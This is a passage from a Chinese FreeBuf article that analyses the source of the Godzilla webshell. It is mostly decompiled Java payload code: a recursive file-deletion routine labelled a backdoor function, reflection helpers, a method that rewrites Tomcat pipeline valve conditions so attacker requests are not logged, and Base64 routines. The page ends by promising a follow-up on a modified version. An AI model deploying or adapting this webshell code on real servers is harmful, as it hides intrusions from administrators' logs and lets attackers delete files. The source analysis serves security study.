        catch (Exception e) {
            return e.getMessage();
        }
    }

		// 后门功能:删除文件
    public void deleteFiles(final File f) throws Exception {
        if (f.isDirectory()) {
            final File[] x = f.listFiles();
            File[] array;
            for (int length = (array = x).length, i = 0; i < length; ++i) {
                final File fs = array[i];
                this.deleteFiles(fs);
            }
        }
        f.delete();
    }

		// 动态调用方法
    Object invoke(final Object obj, final String methodName, final Object... parameters) {
        try {
            final ArrayList classes = new ArrayList();
            if (parameters != null) {
                for (int i = 0; i < parameters.length; ++i) {
                    final Object o1 = parameters[i];
                    if (o1 != null) {
                        classes.add(o1.getClass());
                    }
                    else {
                        classes.add(null);
                    }
                }
            }
            final Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));
            return method.invoke(obj, parameters);
        }
        catch (Exception ex) {
            return null;
        }
    }

    Method getMethodByClass(Class cs, final String methodName, final Class... parameters) {
        Method method = null;
        while (cs != null) {
            try {
                method = cs.getDeclaredMethod(methodName, (Class[])parameters);
                cs = null;
            }
            catch (Exception e) {
                cs = cs.getSuperclass();
            }
        }
        return method;
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field f = null;
        if (obj instanceof Field) {
            f = (Field)obj;
        }
        else {
            final Method method = null;
            Class cs = obj.getClass();
            while (cs != null) {
                try {
                    f = cs.getDeclaredField(fieldName);
                    cs = null;
                }
                catch (Exception e) {
                    cs = cs.getSuperclass();
                }
            }
        }
        f.setAccessible(true);
        return f.get(obj);
    }

    private void noLog(final PageContext pc) {
        try {
            final Object applicationContext = getFieldValue(pc.getServletContext(), "context");
            Object container = getFieldValue(applicationContext, "context");
            final ArrayList arrayList = new ArrayList();
            while (container != null) {
                arrayList.add(container);
                container = this.invoke(container, "getParent", (Object[])null);
            }
            for (int i = 0; i < arrayList.size(); ++i) {
                try {
                    final Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
                    if (pipeline != null) {
                        Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
                        while (valve != null) {
                            if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
                                String condition = (String)this.invoke(valve, "getCondition", new Object[0]);
                                condition = ((condition == null) ? "FuckLog" : condition);
                                this.invoke(valve, "setCondition", condition);
                                pc.getRequest().setAttribute(condition, (Object)condition);
                                valve = this.invoke(valve, "getNext", (Object[])null);
                            }
                            else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
                                valve = this.invoke(valve, "getNext", (Object[])null);
                            }
                            else {
                                valve = null;
                            }
                        }
                    }
                }
                catch (Exception ex) {}
            }
        }
        catch (Exception ex2) {}
    }

    public String base64Encode(final String data) {
        return this.base64Encode(data.getBytes());
    }

    public String base64Encode(final byte[] src) {
        final int off = 0;
        final int end = src.length;
        final byte[] dst = new byte[4 * ((src.length + 2) / 3)];
        final int linemax = -1;
        final boolean doPadding = true;
        final char[] base64 = this.toBase64;
        int sp = off;
        int slen = (end - off) / 3 * 3;
        final int sl = off + slen;
        if (linemax > 0 && slen > linemax / 4 * 3) {
            slen = linemax / 4 * 3;
        }
        int dp = 0;
        while (sp < sl) {
            final int sl2 = Math.min(sp + slen, sl);
            int bits;
            for (int sp2 = sp, dp2 = dp; sp2 < sl2; bits = ((src[sp2++] & 0xFF) << 16 | (src[sp2++] & 0xFF) << 8 | (src[sp2++] & 0xFF)), dst[dp2++] = (byte)base64[bits >>> 18 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 12 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 6 & 0x3F], dst[dp2++] = (byte)base64[bits & 0x3F]) {}
            final int dlen = (sl2 - sp) / 3 * 4;
            dp += dlen;
            sp = sl2;
        }
        if (sp < end) {
            final int b0 = src[sp++] & 0xFF;
            dst[dp++] = (byte)base64[b0 >> 2];
            if (sp == end) {
                dst[dp++] = (byte)base64[b0 << 4 & 0x3F];
                if (doPadding) {
                    dst[dp++] = 61;
                    dst[dp++] = 61;
                }
            }
            else {
                final int b2 = src[sp++] & 0xFF;
                dst[dp++] = (byte)base64[(b0 << 4 & 0x3F) | b2 >> 4];
                dst[dp++] = (byte)base64[b2 << 2 & 0x3F];
                if (doPadding) {
                    dst[dp++] = 61;
                }
            }
        }
        return new String(dst);
    }

    public byte[] base64Decode(final String base64Str) {
        if (base64Str.length() == 0) {
            return new byte[0];
        }
        final byte[] src = base64Str.getBytes();
        int sp = 0;
        final int sl = src.length;
        int paddings = 0;
        final int len = sl - sp;
        if (src[sl - 1] == 61) {
            ++paddings;
            if (src[sl - 2] == 61) {
                ++paddings;
            }
        }
        if (paddings == 0 && (len & 0x3) != 0x0) {
            paddings = 4 - (len & 0x3);
        }
        byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];
        final int[] base64 = new int[256];
        Arrays.fill(base64, -1);
        for (int i = 0; i < this.toBase64.length; ++i) {
            base64[this.toBase64[i]] = i;
        }
        base64[61] = -2;
        int dp = 0;
        int bits = 0;
        int shiftto = 18;
        while (sp < sl) {
            int b = src[sp++] & 0xFF;
            if ((b = base64[b]) < 0 && b == -2) {
                if ((shiftto == 6 && (sp == sl || src[sp++] != 61)) || shiftto == 18) {
                    throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");
                }
                break;
            }
            else {
                bits |= b << shiftto;
                shiftto -= 6;
                if (shiftto >= 0) {
                    continue;
                }
                dst[dp++] = (byte)(bits >> 16);
                dst[dp++] = (byte)(bits >> 8);
                dst[dp++] = (byte)bits;
                shiftto = 18;
                bits = 0;
            }
        }
        if (shiftto == 6) {
            dst[dp++] = (byte)(bits >> 16);
        }
        else if (shiftto == 0) {
            dst[dp++] = (byte)(bits >> 16);
            dst[dp++] = (byte)(bits >> 8);
        }
        else if (shiftto == 12) {
            throw new IllegalArgumentException("Last unit does not have enough valid bits");
        }
        if (dp != dst.length) {
            final byte[] arrayOfByte = new byte[dp];
            System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));
            dst = arrayOfByte;
        }
        return dst;
    }
}

下一篇 Godzilla哥斯拉修改版(下) 修改篇将介绍修改思路和实现代码

# WEBSHELL管理工具 # 源码分析 # 流量绕过
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录